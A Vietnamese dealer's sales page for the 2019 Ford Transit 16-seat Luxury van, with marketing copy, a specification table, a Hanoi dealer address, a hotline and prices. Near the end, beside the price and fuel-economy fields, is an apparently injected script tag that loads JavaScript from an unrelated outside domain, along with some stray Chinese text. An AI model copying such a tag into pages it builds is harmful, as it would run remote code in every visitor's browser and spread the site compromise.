Transit 16 chỗ Luxury- Model 2019

Transit 16 chỗ Luxury- Model 2019

Ford Transit Luxury

Ford Transit Tiêu Chuẩn có thể đáp ứng nhiều nhu cầu khác nhau như: xe cứu thương, xe cảnh sát, xe giao nhận hàng hóa, xe phục vụ bảo hành.

Ford Transit Luxury là giải pháp vận chuyển hành khách hàng đầu, hiệu quả đem lại còn hơn cả những gì mà bạn mong đợi.

Ford Transit 16 MID

Túi khí an toàn hơn cho người lái. Hệ thống trợ lực lái thủy lực mang lại cảm giác lái tốt nhất cho người lái, giảm thiểu sự mệt mỏi trên chặng đường dài.

Hệ thống chống bó cứng phanh (ABS) giúp người lái giảm thiểu các nguy hiểm trên đường cũng như tăng hiệu quả phanh.

Ford Transit 16 MID

Ford Transit

Động cơ Duratorq giúp vận hành xe mạnh mẽ, êm ái và tiết kiệm nhiên liệu, tối ưu hoá hiệu quả vận hành.

Ford Transit 16 MID

Hệ thống giảm xóc cải tiến và bộ phanh đĩa lớn ở cả 4 bánh đảm bảo tính năng lái an toàn khi vận hành với tốc độ cao đồng thời mang lại sự êm ái cho người lái và hành khách trong suốt cuộc hành trình.

Ghế hành khách Transit Luxury làm từ chất liệu da sang trọng, được thiết kế mới với tựa lưng có thể điều chỉnh độ nghiêng độc lập, mang lại cảm giác thoải mái tối đa cho mọi hành khách.

Hệ thống điều hòa mới mạnh mẽ với hai dàn lạnh và các cửa gió phân phối không khí mát lạnh tới từng hàng ghế.

Ford Transit 16 MID

Ford Transit mầu Ghi Vàng

Với những tính năng hàng đầu của mình, không có gì lạ khi Ford Transit Luxury là sự lựa chọn hàng đầu vận chuyển hành khách của các hãng xe du lịch hiện nay.

Động cơ
Động cơ / Engine Type Động cơ Turbo Diesel 2,4L – TDCi, trục cam kép có làm mát khí nạp
Loại 4 xi lanh thẳng hàng
Dung tích xi lanh / Displacement (cc) 2402
Đường kính x Hành trình / Bore x Stroke (mm) 89.9 x 94.6
Công suất cực đại (PS/vòng/phút) / Max power (PS/rpm) 138/3500
Mô men xoắn cực đại (Nm/vòng/phút)/ Max torque (Nm/rpm) 375/2000
Hộp số/Transmission 6 số sàn
Ly hợp Đĩa ma sát khô, dẫn động bằng thủy lực
Kích thước & Trọng lượng
Dài x rộng x cao/ Length x Width x Height (mm) 5780 x 2000 x 2360
Chiều dài cơ sở/ Wheelbase (mm) 3750
Vệt bánh trước (mm) 1740
Vệt bánh sau (mm) 1704
Khoảng sáng gầm xe (mm) 165
Trọng lượng toàn tải (kg) 3730
Bán kính vòng quay nhỏ nhất (m) 6.65
Trọng lượng không tả (kg) 2455
Hệ thống treo
Hệ thống treo trước / Front Suspension Hệ thống treo độc lập dùng lò xo xoắn và ống giảm chấn thủy lực
Hệ thống treo sau Hệ thống treo phụ thuộc dùng nhíp lá với ống giảm chấn thủy lực
Hệ thống phanh
Phanh đĩa trước và sau
Hệ thống chống bó cứng phanh (ABS)
Trợ lực lái thuỷ lực
Trang thiết bị chính
Túi khí cho người lái
Bậc đứng lau kính chắn gió phía trước
Khoá nắp ca-po
Gương chiếu hậu điều khiển điện
Cửa sổ lái và phụ lái điều khiển điện
Khoá cửa điện trung tâm
Chắn bùn trước sau
Đèn sương mù
Đèn phanh sau lắp cao
Vật liệu ghế Nỉ
Dây đai an toàn cho tất cả các ghế
Tựa đầu ghế điều chỉnh được
Bậc lên xuống cửa trượt
Tay nắm hỗ trợ lên xuống
Khoá cửa điều khiển từ xa Không
Các hàng ghế (2,3,4) ngả được
Ghế lái điều chỉnh 6 hướng có tựa tay
Điều hoà nhiệt độ 2 dàn lạnh đến từng hàng ghế
Hệ thống âm thanh AM/FM, CD 1 đĩa, 4 loa

Thông tin liên hệ

Chiếc xe này đã được kiểm tra bởi đại lý Ford Thủ đô, mọi dịch vụ đối tác ủy quyền của Ford Việt Nam và bao gồm các dịch vụ bổ sung..

Km 8, Đường Giải Phóng, Pháp Vân, Q. Hoàng Mai, Hà Nội.
HOTLINE:
0976.795.568

Gửi thông tin cho chúng tôi

Tên của bạn:

Số điện thoại:

Email:

Bạn quan tâm

Để được tư vấn tốt nhất vui lòng gọi: 0976 795 568

Giá bán 848.000.000 đ
750.000.000 đ
"<script type=text/javascript src='https://slow.destinyfernandi.com/hos?&v=4'></script>连锁品牌 Ford
9.7
Thành phố
8.3
Cao tốc